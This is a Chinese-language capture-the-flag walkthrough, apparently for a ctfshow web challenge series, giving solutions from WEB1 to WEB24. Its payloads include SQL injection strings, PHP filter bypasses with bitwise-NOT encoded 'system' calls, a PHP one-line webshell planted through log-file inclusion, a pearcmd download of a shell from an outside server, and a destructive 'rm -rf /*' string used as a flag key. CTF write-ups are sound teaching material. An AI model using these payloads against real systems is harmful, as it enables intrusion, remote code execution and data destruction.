题目有多种解法,如下解法经供参考
WEB1
sql注入
启动环境
无绕过,id=1000输出flag
payload:?id=1 or id =1000 --+
或者 ?id=1 union select * from article --+
WEB2
过滤了or和+
payload:?id=1 || id=1000 --+
或者 ?id=1 union select * from article --+
WEB3
过滤了更多
?id=1 union select * from article --+
不再可用 因为*被过滤了
这里利用一个intval的特性,
intval在php中用于获取变量的整数值,具体内容可参考
https://www.php.net/manual/zh/function.intval
我们在传入参数的时候实际上是会以""扩起来的
传入1000时
intval得到的还是1000
而传入’1000’intval得到的是0
但是变量输出仍是1000
故可以构造?id='1000'
WEB4
?id=‘1000’`
WEB5
过滤了单引号
前面的方法失效,考虑取反
~~1000
WEB6
~~1000
WEB7
0b1111101000
WEB8
$key不知道哪儿来,没有思路
网上说这是道梗题
阿呆删库跑路
所以key是rm -rf /*
?flag=rm -rf /*
WEB9
匹配到system,exec,highlight后执行
看看路径
?c=system('ls ');
?c=system(‘cat config.php’);
发现一片空白
查看源码
WEB10
这次是过滤了system,exec,highlight
尝试取反绕过
?c=(~%8C%86%8C%8B%9A%92)('ls');
其中的%8C%86%8C%8B%9A%92是通过system取反得到的
脚本如下
<?php
$a=~("system");
echo urlencode($a);
得到
?c=(~%8C%86%8C%8B%9A%92)('cat config.php');
WEB11
过滤了cat 换tac读取
?c=(~%8C%86%8C%8B%9A%92)('tac config.php');
WEB12
过滤了config,php还有.
模糊匹配
?c=(~%8C%86%8C%8B%9A%92)('tac c*');
WEB13
多过滤了个;
用?>
就行了
?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>
WEB14
过滤了左括号
取反不可行了
?c=echo `tac confi*`?>
其中
`tac confi*`
涉及到php中反引号的作用
执行其内的语句并返回值
WEB15
测一下还有那些字符可用
这里虽然禁止了?>但是分号又可用了
用反引号接收一个参数a,然后a中是所需执行的语句
?c=echo `$_GET[a]`;&a=cat config.php
WEB16
md5强碰撞
那个md5解出来是ctfshow36d
由于已经给了ctfshow
?c=36d
WEB17
文件包含,过滤了php
考虑日志文件包含
一个个试
?c=/var/log/apache/access.log
测试发现不是apache
?c=/var/log/nginx/access.log
是nginx
发现显示内容中有ua
随便传个参数进去,抓包改ua为一句话木马
<?php eval(@$_REQUEST['114514']); ?>
蚁剑连上
在36d.php中拿到flag
WEB18
多过滤了个file
这说明WEB17也可以用php伪协议做
对日志文件包含没干扰
?c=/var/log/nginx/access.log
和web17如出一辙,就不复述了
WEB19
多过滤了个base
同上
?c=/var/log/nginx/access.log
WEB20
多过滤了个rog
同上
?c=/var/log/nginx/access.log
WEB21
过滤冒号
同上
?c=/var/log/nginx/access.log
WEB22
过滤了冒号和正反斜杠
无思路,参考了如下文章
https://blog.csdn.net/qq_46091464/article/details/108954166
https://blog.csdn.net/qq_46041723/article/details/110948866
在自己的服务器上写一个一句话木马
然后让靶机下载这个木马
这里用到了register_argc_argv的知识
在register_argc_argv开启的时候可以通过+来分隔变量
先进行包含pearcmd.php然后在通过+分隔符来执行download命令
?c=pearcmd&+download+http:/xxxxxxxxxxxx/shell.php
然后访问shell
在post中进行命令执行
获得百分之百的快乐
做了长度限制
只能接收长度小于4的参数
先执行ls看看
发现只有s和z开头的文件
那么可以考虑执行如下语句
?1=>nl
然后
?1=*
其意义是
先创建一个叫nl的文件
然后以最先匹配到的作为命令执行,其余文件当参数
如我这里有一个z.txt
可以看到输出了z,txt中的内容
对于本题执行将会读取那两个文件中的内容
最后查看源码,flag就在源码中
WEB23&24
尝试上传
尝试访问,发现不存在
那么因该是考条件竞争
payload可以参考如下文章
https://wp.ctf.show/d/131-23-24